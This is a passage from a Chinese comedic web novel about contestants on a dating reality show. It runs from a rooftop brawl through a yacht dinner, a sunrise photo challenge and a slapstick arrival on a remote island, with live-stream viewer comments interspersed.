沈颐一张脸涨成猪肝色,脑袋逐渐缺氧,渐渐失去反抗的力气。 他在地上摸了一阵,终于摸到一个圆柱形的东西,想也不想地就朝乔俞诚眼睛里扎去。 乔俞诚艰难地偏头躲开,选择将手指当作武器,攻击沈颐最薄弱的地方。 伴随着一声刺耳的尖叫,沈颐刚做完紧缩术的部位再度收到重创。 菊花残,满地伤,血崩如水柱,流了一地。 医院的人听到他的惨叫声,终于发现了不对劲,连忙带人赶到天台,将缠斗的两人拉开。 随之而来的,还有正在医院探病的恋综嘉宾们。 阮绵绵捂着嘴惊讶地捡起了掉落在脚边的手机,自动重复的视频正好播放到沈颐和温烟婷的那段对话。 “那阮绵绵呢,她好像很喜欢你,听说你们最近在炒cp?” “她就是我认识的一小妹妹,太纯了,不是我喜欢的类型,炒cp也是公司安排的,你别瞎猜。” 阮绵绵脸上骤然失去了血色,手指攥得发白,紧抿着唇,在风中摇摇欲坠。 周悦甜见到她这幅魂不守舍的模样,一把揽住她的肩膀,担心地问道:“绵绵,你怎么了?是不是被吓到了?” “没什么。” 阮绵绵笑得十分勉强,甩开周悦甜的手,不动声色地往天台边缘挪动几步,松开手指,将手机扔了下去。 无论如何,不能让别人抓到沈颐哥哥的把柄。 正在院子里散步的乔缨突然看到眼前掉下来一个黑色铁块,赶紧拉了一把前面的女孩,避开高空抛物的攻击。 女孩一个踉跄,惊魂未定地喘了口气,连声道谢:“谢谢你啊,小姐姐。” 乔缨摆摆手,走上前查看那坨铁块,原来是一只已经被摔得稀巴烂的手机。 谁啊,这么没素质? 她把东西捡起来扔进垃圾桶,刚一转身,就看到一个流浪汉被几个保安架住,嘴里还叫嚷着“杀人犯”之类的词语。 流浪汉两条腿无力地垂在地面,说什么都不肯自己走,保安不耐烦地问:“你想干嘛?” “我想死。” “捞起来。” 保安对视一眼,加大了手上的力度。 “我好想死啊,我要死。” 流浪汉嘴里念念有词地撒泼,被架着在地面上拖行了几米,脚趾在地面上摩擦,忍不住收回了双腿,说道:“……脚好痛哦。” 乔缨和女孩全程行注目礼。 共鸣,非常共鸣。 有点像她们上早八的精神状态。 可怜的乔俞诚就这样被扔出医院大门,晦气地坐回了他经常乞讨的墙角,掏出刚从沈颐身上偷来的钱包翻翻找找。 死穷鬼,居然真的只有180块。 他啐了口唾沫,拿出乞讨用的铁饭碗,闭上眼睛假寐。 几步之外,因为看清了流浪汉的脸,原本想给他买点东西吃的乔缨止住了脚步。 她转身去便利店拿了几个盒状的物品,让一个路过的小孩替她捎给她最亲爱的哥哥。 不一会儿,闭眼假寐的乔俞诚便听到了一阵悉悉索索的响动,眼睛眯出一条细缝,暗中打量。 他威胁道:“喂,小孩,你手里拿的是烟吧?给我,不然我就揍你。” 小孩乖顺地点点头,拆开那几盒像烟一样的东西,对乔俞诚做了一个鬼脸。 然后往他碗里噼里啪啦扔了一堆鞭炮,摔完就跑。 火力全开下,那只铁饭碗宛如参加过二战,已经被炸得千疮百孔。 在乔俞诚暴跳如雷的怒吼中,乔缨欣慰地笑了。 看吧,因为害怕乔俞诚一个人太过孤单,她还特意提前给他送去了新春的祝福,她可真是一个善良的小女孩。 刚刚被乔缨救下的女生没太在意她奇怪的举动,只一心蹲在地面,用石子和泥土堆了一个小坟包。 通过方才的聊天,乔缨得知女孩是来医院看望患癌的前男友,刚想安慰她几句,就看到女孩捏着鼻子往坟包里埋了一坨狗屎。 她失声痛笑,表情无比虔诚,对着狗屎温声呼唤前男友的名字:“你终于遭报应了,怎么走得这么晚,我还以为我等不到这一天了呢。” 我勒个以你的坟包呼唤我。 乔缨默默收回安慰的话。 “听说你家祖坟被雷劈了,没关系,阴间的烦恼和妈妈说说,投胎的事情和爸爸谈谈。” 女孩哼唱着,刻薄的嘴仍在继续:“一切都坏,你就安心地下地狱吧。” 太过惊世骇俗的歌词震惊了一条街的人,乔俞诚停下追逐小孩的步伐,视线向她们这边扫了过来。 乔缨下意识地往电线杆后一躲,却见裴砚知握着手机挡在她身前,对她露出一个从容的眼神。 他镇定道:“放心吧,我给城管打过电话了,说他影响市容。” 天色渐晚,恋综的其他几位嘉宾探完了病,意外碰上了在医院门口的乔缨和裴砚知。 周悦甜脚步一顿,表情复杂地问:“你们怎么……” 难道是这两个人心怀愧疚,又拉不下脸道歉,所以偷偷跟着他们过来的? 一番自我脑补下,周悦甜志得意满地笑了笑,心说果然还是她的人格魅力大,连这两个刺头都被她收拾得服服帖帖的。 一直跟随着大部队的直播间也将镜头一转,弹幕很快发现了端倪: 【发生什么事了,他俩怎么换了身衣服?】 【细思极恐,越思越恐,不思也恐。】 【这是我配看的吗,搁这儿八倍速速通恋综呢?】 面对神色各异的众人,乔缨才不管他们在想什么,摸摸快要饿瘪的肚子,拉着裴砚知转身就跑。 “饿了,走,去码头整点薯条。” 第88章 第八十八章 砚知哥哥你真好 昏黄的路灯将两人的影子拉长, 乔缨日剧跑了好一段路,这才想起旁边的人是个病号,一个紧急刹车, 后脑勺受到胸肌的袭击,差点被裴砚知创飞。 她发出一道MC村民受击的音效, 在脸部即将亲密接触大地的时候,一只手及时拉住了她的衣领子, 将她往上一提。 裴砚知的声音从天灵盖上飘下来:“你没逝吧?” “没……逝。” 乔缨好不容易才站稳了脚步, 拍拍他的手掌,费力地说:“就是……有点缺氧。” “抱歉。” 裴砚知骤然松开手指,乔缨差点一个踉跄又栽下去。 她两手撑着膝盖大口喘气,转过身看着裴砚知,欲言又止。 跟在他们身后的摄像机记录下了全过程, 两人精彩纷呈的微表情全被转播到了直播间里: 【老天, 我要看的是偶像剧揽腰旋转三百六十度慢镜头,不是谋杀现场。】 【感觉乔缨的眼神骂得挺脏。】 【我缨姐两眼一睁就是小节目, 裴总真是有福了。】 前方五十米处就是码头,好不容易追上两人步伐的PD抹了一把汗, 赶紧给他们介绍了接下来的行程安排。 原来节目组斥巨资预定了一艘小型游艇, 今天的晚餐和住宿将在游艇上解决,然后明天一早出海去追日出。 乔缨听得瞠目结舌:“你们这安排也太特种兵了吧?那行李箱怎么办?” “已经都搬上去了。” PD打着哈哈, 一不小心说出了实话:“毕竟游轮十二小时起租,价格也不便宜, 物尽其用嘛。” 裴砚知蹙了蹙眉, 忽然觉得这话有些奇怪。 现在已经快到晚上八点,而南岛一月份的日出时间一般在早上七点左右。 如果游艇的时限是十二小时,那么明天满打满算, 也只有四十分钟的时间来完成追日出以及返航的行程。 从距离来看,怎么算都不可能。 PD自知说漏了嘴,连忙转移视线揭过话题,将嘉宾请到了游艇上。 船体内灯火通明,休息区自带泳池,沙龙四周镶嵌着霓虹灯带,配合上游艇两侧繁华辉煌的港口景象,看起来还真有点纸醉金迷的味道。 餐厅里摆着几张烛光晚餐似的圆桌,主厨一道一道上着菜,旁边还有一支小型爵士乐队在伴唱。 “这么隆重?” 乔缨诧异地坐到沙发上,环视一圈周围浪漫的装扮,忽然明白了节目组的用意。 恋综拍了几天,嘉宾却一点暧昧的迹象都没有,是时候煽煽情卖个大的了。 果不其然,工作人员在下一秒便打开了甲板上的投影屏,一张一张播放着这几天记录下来的浪漫瞬间。 有沈颐和阮绵绵在厨房忙碌早餐的温馨背影。 虽然下一秒就端出来一盘黑暗料理。 有何孟理背着周悦甜跋山涉水的患难见真情。 虽然下一秒就变成了“气质妩媚小女人”和“think you”的对决。 有吴笑希和段羡秋在沙滩上肆意奔跑。 虽然下一秒就跑出了吃霸王餐逃单的即视感。 【再多放一秒就要露馅了。】 【看得出来,工作人员已经尽力了,东拼西凑也才凑出来这几张能看的画面。】 【真是难为他们把这些照片一个个搜罗起来。】 幻灯片的最后,以乔缨和裴砚知观赏流星雨的背影结束,PD拿来几封情书一样的东西,分发到众人的手中。 他神神秘秘地说:“经过几天的相处,各位对彼此也有了一定的了解。那么,你们对网友的评价好奇吗?想不想知道在观众心中,和自己最有cp感的人是谁呢?” “不是很想……” 江简哲顺口就答,被周悦甜一个肘击,瞬间闭上了嘴。 作为今天的隐形团长,周悦甜自觉担负起了引导话题的重任,冒着憧憬的星星眼问道:“是谁呢?我很想知道。” “经过观众投票,和各位匹配度最高的嘉宾名字就放在你们手里的信封中,不过———” PD说完刻意顿了顿,拉长了声音制造悬念:“不过在此之前,我们先来回忆一下大家在录节目前,有关理想型的采访资料吧。” 乔缨的身体僵硬了一下,有种不详的预感。 她以为这段采访不会当众播出来,所以录视频的时候,好像说了不少虎狼之词来着? 最后加入的裴砚知没有这个环节,靠在沙发上好整以暇地看着乔缨如遭雷击的表情,挑眉道:“乔老师都说了些什么,居然这么紧张?” “我不好说,记不太清了。” 乔缨越想越心慌,甚至不太敢去看投影的屏幕。 第一个出场的是何孟理,在资料卡上很符合人设地写了一个“贤惠”和“不拜金”,对着镜头一本正经地介绍起了自己的取向。 【快进,快进。】 【省流:想要一个无怨无悔、不计报酬的住家保姆。】 第二个是江简哲,说自己可狼可奶,身高180,活泼开朗,喜欢性格互补的成熟稳重大姐姐。 【我猜他一定没有一米八。】 【省流:找个妈。】 第三个是段羡秋,自称恋爱脑,对理想型的描述具体到了外貌、身高以及年龄,明眼人都能看得出他是在说谁。 【这个喷不了,这个是真痴情。】 【省流:乔缨。】 裴砚知嗤笑,除他之外的所有人都将头转向了乔缨。 然而另一个当事人却无暇顾及这些揶揄的目光,往嘴里机械地灌着水,企图用尿遁的手段来逃避这场公开处刑。 她站起来,十分有演技地羞赧一笑:“那个啥,我去上个厕所……” 最后一个字还没说完,她的脸就出现在了大屏幕上,乔缨膝盖一软,没有勇气转身,麻木地定在了原地。 没有前面男嘉宾那么花里胡哨的介绍,她手里的资料卡只写了三个英文字母:PHD。 【应该是PhD吧?又来一个内娱文盲。】 【不至于吧,她学历不是挺高的吗?】 很显然,视频中采访她的工作人员也有同样的疑问,小声提醒她:“乔缨老师,你这里是不是写错了?” 屏幕中的乔缨正色道:“此PHD非彼PhD,它的意思是———” 视频因为她口出狂言被紧急掐断,但聪明的弹幕已经猜出了她被消音的那句话: 【Pretty Huge Di*k,我说得对吗老铁们?】 【这集更是煌得没边。】 乔缨只花一秒钟的时间就猜到弹幕肯定想歪了,只能硬着头皮出声解释:“不是,我的意思是Pretty Handsome Dog!求不搞错!求不瞎科普!” 【这对吗?这还是不对吧?】 【姐,别说了,越描越黑。】 全场只有裴砚知抓住了重点,疑惑地问她:“你不是猫党吗?为什么喜欢dog?” 乔缨一把捂住他的嘴,心如死灰:“别说了,哥,算我求你。” 剩下的周悦甜和吴笑希理想型出奇的一致,没什么特别的要求,就是凭感觉,而且要真爱。 【没有要求才是最高的要求。】 【想在速配节目找真爱,听起来像得了幻想症。】 vcr播放完,众人便迫不及 待地拆开了信封,脸上都或多或少闪过了惊讶的神情。 乔缨早知道网上有嗑她和裴砚知的观众,却没想到智力硬伤的cp粉有那么多,居然占了投票人数的百分之八十九。 既然观众喜欢看,那没办法了。 她站在裴砚知身边,举起那张写着他名字的信纸晃了晃,低声道:“小裴啊,你想不想再刺激一波耳机的销量?” 裴砚知一双狭长的眼睛微眯,洗耳恭听。 “让我来教教你怎么卖cp。” 乔缨说得高深莫测,示意他拉开圆桌前的座椅,然后一屁股坐下,语气浮夸地称赞:“哇,砚知哥哥你人真好,好绅士呢。” 裴砚知被那句“砚知哥哥”硬控十秒,吓得一激灵,迟疑地坐到椅子上,一时间分辨不出她到底是真情实感还是在阴阳怪气。 【哈哈哈哈这麦得也太生硬了。】 【她是不是看智力硬伤人气太高,想回馈粉丝给家人们发福利啊?】 【看吧,抽象搞多了,连认真营业都像是在开玩笑。】 乔缨的粉丝回馈还不算完。 她随手拿起一瓶矿泉水递给裴砚知,娇羞一笑:“砚知哥哥,我拧不开瓶盖,你帮帮我好不好?” 弹幕看到这里都震惊了,眼珠子差点掉出来: 【姐们儿,你忘了你的俄式大摆拳了吗?】 【她只是拧不开瓶盖,又不是拧不开天灵盖,她又有什么错呢?】 【姐,别麦了,我害怕。】 裴砚知拧开瓶盖,语气轻缓,带着笑意:“你正常点。” 【她在闹,他在笑,OK又给我捡到糖了家人们。】 【比格x忍人就是最配的,谁赞成谁反对?】 【只有我感觉乔缨像换了一个人吗?前几期看起来还挺高冷,今天就跟解放天性了一样。】 屏幕外,乔缨的羞耻心还是太重,怎么都说不出宝宝碗和草莓屁屁这种话,因为装不下去了,索性埋头风卷残云吃着晚饭。 裴砚知将打开的矿泉水瓶递了回去,打完点滴的那只手在她眼前故意晃了一圈,再若无其事地放回了原处。 埋头干饭的乔缨被吸引了注意力,终于良心未泯地关心道:“你还好吗?身体有没有不舒服?” 裴砚知语气平淡:“没事,就是头有点晕,没有力气,但我还能坚持。” “那可不行,”乔缨皱着眉,左右看了一圈,给摄制组打了个手势,“这里风太大了,我送你回客舱吧。” “既然风太大,那没办法了。” 裴砚知云淡风轻地点点头,不再推辞,任由乔缨将他搀扶到房间里。 游艇的客舱都是标配的双人床,附带一个能观景的小阳台,能看到夜晚漆黑一片的海水。 工作人员将两人的行李箱送到门口,暗示的意味很明确,乔缨想了想,还是接了过来。 人是被她弄感冒的,作为一名成年人,她理应负责到底。 乔缨一身正气地转过身,一手握成拳,眼神坚定得能入党:“放心吧,你就算脱光了在我面前,我也只会问你冷不冷。” 裴砚知:“……” 见他不语,乔缨只能继续向他保证:“抱歉,伤害男人的事情我办不到。” 洗漱完后,乔缨将裴砚知塞进被子里,搬来一把沙发坐到他床边,替他量着体温。 室内只留下了一盏光线微弱的小夜灯,乔缨蜷在沙发上,打开电视机,电影频道正好在放《爱在黎明破晓前》,三部曲联播。 海浪拍打着船身,反射到天花板上,波光粼粼,澎湃汹涌。 乔缨看得昏昏欲睡,撑着脸颊说:“如果我们现在是在演电影,那我已经想好名字了。” 裴砚知抬眸:“什么名字?” 乔缨瞧了一眼窗外,远处的海滩上有人在求婚,烟火升空,人群喧闹。 她偏过头,语气笃定道:“爱在乌漆嘛黑时。” 【全文完结】 第89章 第八十九章 #悬疑##反转…… 清晨五点半, 裴砚知被一阵掌声与欢呼吵醒,那是乔缨特意设置的闹钟铃声,说这样就能得到应有的尊重与认可, 哄着自己起床。 为了早起也是耗尽了力气和手段。 经过一夜的休息,他的身体已经完全恢复了健康, 虽然还是那张冷得能冻死人的脸,但却不带一丝病气, 丝毫看不出来昨天感冒发烧的痕迹。 客舱的套房很大, 屋内的两张床离得挺远,中间还隔着一张单人沙发,不仔细看的话,完全察觉不出室内还有另一个人。 裴砚知轻声打开洗浴室的隔门,简单冲了个澡, 洗漱完后站在镜子前好好捯饬了一下, 走到乔缨床前打算叫她起床。 乔缨侧身埋在被子里,手臂紧紧圈着一只抱枕, 裴砚知清清嗓子正准备提供叫醒服务时,忽然听到她带着哭腔的梦呓:“妈……” 他动作一顿, 这才发现乔缨的被头发挡住的脸上似乎有泪痕。 准备早上帅她一大跳的计划戛然而止, 取而代之的是某种说不清道不明的情绪。 她这是……在喊妈妈吗? 想起乔缨命运多舛的身世,裴砚知心软了一瞬, 指关节的某处泛起一阵酸涩的痛感,替她轻轻拭去眼泪。 正当他不甚熟练地扬起一个微笑, 打算给乔缨带来一点人世间的真善美时, 乔缨一个转身,两手攥拳挥了出去,崩溃开口:“妈呀, 求你别唱了……” 裴砚知险而又险地避开,因为没留意脚下,成功被沙发腿绊倒,匆忙之中栽到了床上,手臂撑在乔缨两侧,差点和她脸对脸贴到一起。 睡梦中的乔缨只感觉身上多了一股温暖干净的气息,洗发水和沐浴露混合的香味钻入鼻腔,呼吸近在咫尺,让她忍不住想靠近。 她伸出手摸了摸,触感柔软而有弹性,温温热热,随着她的动作逐渐起了变化。 好奇怪。 乔缨皱着眉,打算继续往下摸索时,身上那股气息却骤然消失,只留下一团冰凉的空气。 她蓦地睁开眼,看到裴砚知正背对着她,留下一个形状完美的后脑勺和泛红的耳尖,不禁迷迷瞪瞪地问:“你站我床头干嘛?” “你睡觉的时候哭了。” 裴砚知整理好被扯掉的衣扣,镇定地转过了身。 “哦,我梦到我在上数学课,然后陶喆在练习册第83页开演唱会。” 乔缨一边下床向洗浴室走去,一边心有余悸地叹气:“他在那里‘哦啊啊诶诶啊啊哦’,给我急得嗷嗷哭,因为老师已经讲到第87页了。” 裴砚知:“……” 脸上的燥意怎么也消散不去,冰凉的触感似乎还停留在皮肤上。 裴砚知打算让甲板的海风给他物理降温,找了一个毫无破绽的借口,淡定地推开门,道:“我先去厨房看看早餐。” 乔缨刷着牙,含含糊糊地答应了一声。 简单收拾了一下,时间已经到了六点钟,乔缨拿出手机开了一眼,怦友圈突然跳出来一条新消息。 作为室友,被迫听了一晚上怨夫发言的江简哲发了一条忍无可忍的动态: 【哄你:一觉醒来发现羡秋哥硬硬的,原来是死了,好幸福。】 她刚想要点赞,却发现这条信息被秒删,与此同时,对面的房间里传来了一阵叮呤咣啷的打斗声和男人的尖叫。 再往前走,周悦甜和吴笑希的房间门大敞着,两人在互相帮对方化妆。 周悦甜眼尖,一下子就看到了路过的乔缨,拉着吴笑希三两步蹿出来将她拦下,十分唐突地开口:“乔缨,评价一下我们脸上的妆。” 乔缨挑挑眉,对她命令式的语气感到非常不 爽。 吴笑希也露出一个无可奈何的表情,一时间谁没有说话。 周悦甜对两人戏谑的眼神浑然不觉,兴致勃勃又莫名其妙地补充了一句:“只说妆,不说长相,看脸肯定是我更好看———” “没看出来。” 周悦甜脸上的表情没挂住,顿时沉下脸色质问:“你说什么?” “眼睛有问题,耳朵也有问题。” 乔缨轻笑,懒得和她多费口舌,拍了拍吴笑希的肩膀,擦肩而过时留下一句话:“跟这种特殊人群做朋友不容易吧?辛苦你了。” “就当积德行善了。” 吴笑希叹气,发现今天的乔缨居然不抗拒和她的肢体接触了,一大早就被神经病纠缠的郁闷忽然一扫而空,变得轻快起来。 时间不等人,乔缨没再管两人的反应,匆匆忙忙往舱外赶,无意之中瞥到大海的一角,惊讶地发出一声喟叹。 骤然而至的蓝调时刻,让整个世界被纯净的靛蓝色包裹,天空和海水连成一片,晨昏相融,虚实交错。 乔缨走在甲板上,从裴砚知手里接过三明治啃了两口,指着对侧的一条粉紫色渐变光带,淡淡地开口装逼:“看见了没?那个就是金星带,也叫做维纳斯带,下面的阴影是地球的影子。” 裴砚知顺着她手指的方向俯身看去,认真点评道:“嗯,乔老师懂得真多。” 胸腔震动,清透的声音传进耳朵里,带着一点感冒后的鼻音,酥酥麻麻,黏黏糊糊,骄矜得恰到好处。 骄矜。 乔缨被脑子里冒出来的咯噔形容词呛了一下,手边立即有人递过来一杯牛奶。 她往嘴里灌了几口,偷偷瞅了一眼旁边的摄像机,若有所思。 裴砚知这小子,好像比她还会卖cp啊? 今早的镜头是甲板上的固定机位,正对着日出的方向,三两个早起上班或者正要下班的社畜正在直播间摸鱼版聊: 【我都不用特意去看日出,因为在我工作的每一天,天天都能看到日出。】 【朋友,在哪里打螺丝啊?】 【裴总今天这身也太斯文性感了,想看他在昭星周年庆的时候穿这身跳舞。】 【楼上,你要毁了名扬天下的裴砚知吗?】 因为游艇的核载人数问题,船上只留下了两个安全员和操作员。 昨晚离港时节目组便留下了今天的第一个任务:打卡海上日出,在朝霞中留下照片,然后发到怦友圈,点赞最多的有特殊奖励。 此时,完美错过Blue Hour的其他嘉宾也都陆陆续续来到了甲板上,高浓度的蓝色逐渐褪去,桔红色的霞光穿透云层,将天地分割成两半。 日光碎在海面上,金灿灿一片,乔缨拿出手机记录着日出,神情很是认真。 裴砚知被她晾在一边,几分钟过去,终于忍不住问了一嘴:“你不和我拍合照吗?” 乔缨头也不抬,疑惑地反问:“为什么要和你拍合照?” “我和你拍吧。” 眼见裴砚知吃瘪,段羡秋挤到两人中间,也不顾裴砚知的意愿,踮脚和他拍了张合照,脸上挂着假笑,拍完就跑。 几步之外,何孟理打开了美颜相机,选了一张小猫的特效贴纸,挑好角度背对着阳光。 他对着自拍镜头嘟起嘴卖萌,按下快门的一瞬间,却因为鼻孔太大被识别成了眼睛,导致左右六根胡须十分对称地挂在了人中上。 “在干嘛呢?” 周悦甜不知道从哪个角落冒了出来,猝不及防拍了下他的肩膀,吓得何孟理差点把手机扔进海里,手忙脚乱地删掉了照片。 他皱起眉,语气不悦地问:“你有事吗?” 周悦甜被他的表情吓住了,瘪瘪嘴小声道:“我就是想让你帮我拍张照……” 说罢也不等他拒绝,把手机往何孟理手里一塞,自顾自摆好了姿势。 何孟理只得吃下哑巴亏,正要按下快门时,周悦甜又临时改了主意,连连摆手:“不行不行,这里是顶光,顶光拍出来会很丑。” “那你倒立。” 何孟理随手拍下一张,也不管成品怎么样,把手机扔了回去。 另一侧的吴笑希刚固定好机位,海风将她带刘海高高掀起,无比沧桑地说:“我感觉以我现在这个发际线高度,在海上航行就像是清兵入关。” “嗯嗯,御前总管大太监。” 江简哲点点头,和她一左一右伸出一只手掌,催促道:“快拍吧,再不拍就真成阿哥了。” 在所有嘉宾都发完怦友圈后,太阳已经高高升起,可游艇却丝毫没有返航的迹象,反而离前方那座看起来荒无人烟的小岛越来越近。 最先发现不对劲的是裴砚知,作为全场视力最好的人,他明显看到小岛的沙滩上站了几个鬼鬼祟祟的人影。 在他凝重的表情下,其他人也很快反应过来,面面相觑。 弹幕飘过去一大堆问号: 【这是咋了?被绑架了吗?】 【完了,不会是遇到海盗了吧?要不要报警?】 乔缨当即就要去船长室找人问个清楚,恋综app里忽然弹出来一条公告,点开页面,跳转后是几条PD留下的语音消息: “爱情不止有甜蜜,还有未知的挑战。能同甘的人太多,而能共苦的人很少,抛去所有外在因素,最原初的ta对你的爱意是否依旧如常?” “恭喜大家,解锁了恋综的第二阶段,接下来的一周时间,你们将在这座人迹罕至、物质匮乏的桑托岛上共同生活。” “衣食住行,一切都需要你们自力更生;而面对困境,则需要你们并肩同行,共同寻找爱的真谛。” “现在,让我们公布一下各位的初始资金,将根据今早怦友圈的点赞量从高到低逐一排序,按顺序发放。” 【卧槽,这么刺激?】 【这不是恋综吗?怎么一天没看就改成极限挑战和变形计了?】 【恋综就是要这样才真实啊,比起坐在大别墅里吹空调,这种环节才最容易认清一个人的本质吧。】 现场一片哗然,最抵触户外运动的周悦甜直接黑了脸,好不容易才忍住了摔手机的冲动,毫不客气地翻了个白眼。 裴砚知听了半天节目规则,只有一个问题想问:“这里有信号吗?” 毕竟他也是个有正经职业的人,一个星期说短不短说长不长,难免会有什么公司的急事找上他。 【冰岛有信号果然只关心信号。】 【也算是没崩人设。】 好在节目组很快就给出了答案,称桑托岛的常驻人口大约为1000人,该有的基础设施都有,只是比较简陋。 游艇上的大屏幕再度打开,最先公布的是何孟理的怦友圈。 他还是那个嘟嘴卖萌的表情,这回的小猫特效精准地识别到了他的面部,在照片上配了一段歹毒的文字: 【做个俗人,贪财好色:送你们一张小花猫。】 下一个是段羡秋,他用了那张和裴砚知的合照,还特意将裴砚知P成了嘴歪眼斜的外星人,茶里茶气地发了条动态: 【断桥残雪:和好兄弟的合照,高清无P,原图直出。】 “上不得台面。”裴砚知嗤笑。 PD总结道:“何孟理和段羡秋只有自己给自己点的一个赞,并列倒数第一,所以初始资金只有二十块钱。” 弹幕开始了嘲笑: 【好贵呢,要二十块。】 【早知道要这么玩,他俩现在肠子都悔青了吧?】 在两人怨念深重的眼神里,下一个是周悦甜,她发了一张让江简哲帮她拍摄的氛围照,加上一段小红苕博主的同款爆款文案: 【草莓蛋糕:终于知道为什么要来海上看日出了,这也太好看了吧!宝藏打卡点,真的超级出片!姐妹们快冲!】 这条动态只有摄影师江简哲和她本人点了赞,喜提五十块钱经费。 周悦甜难以置信地瞪着吴笑希,眼神里满是责怪,怎么都想不到她居然会不给自己面子。 接下来的 吴笑希和江简哲发了同一张图,两人一左一右摊开手掌,将背景中的乔缨和裴砚知托于掌心,在图片上加上了一行字幕: 【软糖、哄你:所以我现在在支援他们谈恋爱.jpg】 这张照片毫无意外地拉拢到了裴砚知,加上互相点的两个赞,让两人双双拿到了一百块钱。 【爱情保安组,我喜欢。】 【乔缨为什么不点赞?是不喜欢吗?】 【就说了是裴砚知倒贴,我女独美哈。】 而此刻的乔缨正沉浸在自己的艺术里,一心觉得自己一定是第一。 所以在下一秒就看到自己的照片出现在屏幕上后,她十分错愕地睁大了眼。 然后又在裴砚知的照片并列弹出时,缓缓收了回去。 PD道:“乔缨和裴砚知都集齐了六个赞,并列第一,恭喜恭喜!现在向观众展示一下两位精美的怦友圈吧。” 直播间的人还在猜他俩到底发了些什么惊世骇俗的东西,裴砚知的动态就猝不及防地突脸跳了出来,言简意赅: 【冰岛有信号:一个赞两万。】 弹幕无语了: 【这叫精美?】 【举报,这个人有挂!】 【好好好,人民币玩家是吧?】 然而接下来还有让他们更无语的事情。 乔缨发的是那段日出的视频,配上了AI女声朗读和字幕,在怦友圈一字一句地播放道: 【血殇·女帝:一觉醒来,我哥身上多了一道诡异的青紫掐痕,阴阳先生说那是厉鬼索命、夺人阳魂,只有我知道……点赞私我领取后续。】 紧接着便是一段她和江简哲的聊天记录: 【哄你:已点赞,姐,求问后续是什么?!】 【血殇·女帝:只有我知道,那是我掐的。】 【哄你:?】 弹幕和江简哲一样刷起了问号: 【这叫精美??】 【我真的气笑了老铁们。】 【谁要的#悬疑##反转##虐心##已完结#文?快拿走。】 在众人复杂的目光中,乔缨云淡风轻地接过了五百块钱,道:“改编自真实经历哈,绝对童叟无欺。” 分发完资金,就到了选择乘坐哪种交通工具前往村子的时刻。 沙滩上的工作人员递来一张表格,上面标着种类和核载人数。 只有二十块经费的何孟理和段羡秋一个都消费不起,只能拎着行李箱苦哈哈地踏上土路,按照节目组给的地址前进。 乔缨指着最上面的豪华车型,不确定地蹙眉问道:“敞篷车?豪马斥?” “兔刀乐。”工作人员嘿嘿一笑。 “就这个了。” 乔缨和裴砚知交换过眼神,打算奢侈一把,体验一下两个人坐的敞篷车。 剩下的三人一合计,决定乘坐核载人数四个人的“狗狗车”,因为名字很可爱,都在原地翘首以盼地等着。 吴笑希面露憧憬地说:“狗狗车,应该就跟雪橇一样有狗拉着走吧,大狗狗。” “是狼。” 江简哲发出一道超绝气泡音。 “好弟啊,是奶奶吧?” 周悦甜往他肩上锤了一下,在一旁笑着吐槽。 可话音刚落,周悦甜忽然定住了,手指指着某个方向,张口结舌,目眦欲裂。 她结结巴巴地说:“有、有……” 有啥? 见她一副如临大敌的模样,一直站在旁边吃瓜看戏的乔缨很是纳闷。 她顺着周悦甜的手指看去,只见一团裹着灰尘的黑烟由远及近、自上而下地从山坡上奔袭而来。 饶是在京市生活多年见惯了沙尘暴,她也从未见过这种形状的飓风,一时间震惊地呆在了原地,喃喃道:“乖乖,好大的风啊!” 随着那团黑烟越来越近,里面的东西也逐渐清晰起来。 众人首先看到的,是一头异常威猛的野猪冲在前方,不难猜出它奔跑时带起的旋风便是那股黑烟的源头。 然后往上看,是一顶五颜六色好似毒蘑菇的巨伞,此刻已经被吹得摇摇欲坠了。 再近一点,能看到那柄巨伞下好像有个类似于人类的长条状物体。 那人大概是桑托岛上的老乡,正骑在野猪身上,后面拖着一辆板车,手里握着缰绳,随着野猪的动作左右摇摆。 天空一声巨响,老乡操着一口不怎么流利的普通话,为众人带来一个惊天大噩耗:“狗狗车来咯!” 吴笑希瞠目结舌:“这……你……我……请问这头野猪和狗狗的关系是?” 老乡憨厚老实地笑了笑,露出一口大白牙,诚恳道:“哦,它的名字叫狗狗。” 野猪十分配合地哼了两声,骄傲地挺起胸膛,獠牙高高翘起,一双眼睛里满是不屑。 这不是在做梦吧?能不能来个雷把他给劈醒? 江简哲掐了一把胳膊,化身古风小生,拱手询问道:“敢问这位高人的姓名?” 老乡答:“我叫郑奇朱。” 三个人战战兢兢地上了狗狗车,乔缨目送着他们的背影,心情沉重:“我们的敞篷车,真身应该不会是一只名叫‘敞篷’的野猪吧?” 裴砚知面无表情:“我不好说。” 说时迟那时快,上一个野猪带来的灰尘还未消散,山坡上很快又出现了一股黑烟。 乔缨预判着方向,拽着裴砚知就打算跑,余光搜寻着四周可以避难的地方。 裴砚知则是挡在她身前,视线牢牢锁定着那股黑烟,察觉出来一丝不对劲。 两人神经紧绷地盯着前方,可这第二只野猪却仿佛有灵性似的,一脚刹在了半路上。 一道黑色的人影随即被甩了出来,以迅雷不及掩耳之势一把扑到了乔缨的身上,动作快到裴砚知都来不及反应。 乔缨被撞得七荤八素,捂着头坐起身来,感觉自脖子以下一阵沉重。 她睁眼一看,入眼便是一个双眼翻白的死人,正趴在她身上汩汩往外吐着白沫的画面。 卧槽!这什么怪物! 下一秒,那死人回光返照似的猛然抬起头,一张脸布满了黑黄相间的泥土,活像是从哪个坟地里刚诈完尸的鬼怪一样。 乔缨吓得都快哭出来了,眨也不眨地看着身上那人轱辘转了一下眼球,接着抬手用衣袖擦了擦挂着涎液的嘴角。 因为衣袖上也满是灰尘,让那人本就留白不多的脸上更是平添了一抹灰。 刚诈完尸的女人缓缓开口:“欢迎……欢迎你们来桑托岛……” 她一边说,一边拍拍身上的灰尘,缓慢地站起身来。 在这个过程中,她的头发甚至还在不断往下簌簌掉着颗粒物和灰尘。 它们在阳光下飞旋、交织,让乔缨直接体会了一把什么叫做丁达尔效应,以及惯性。 下灰了? 乔缨仰头呆呆地看着,女人逆着光站立,微笑着亮出八颗牙齿,朝地上的她伸出一只手。 女人散乱蓬松的头发带来了一片阴影,但这个视觉冲击和她给乔缨造成的心理阴影相比,简直不值一提。 在她身后,一辆电动三轮姗姗来迟,驾驶座上的司机冲着女人大喊一声:“村长,不小心把你甩出去了,你没事吧?” 女人点点头,整理了一下衣服,再次郑重地伸出一只手:“你们好,我是桑托村的村长,郑岚。” 乔缨从地上爬起来,迟疑地和她握了一下。 电动三轮一个帅气摆尾漂移到三人面前,郑岚瞥了一眼正在表演腰马合一的司机,脚下一个踉跄。 她稳住身形,清了清嗓子,指着铁皮小三轮,正色道:“对了,这个就是你们的敞篷车哈。”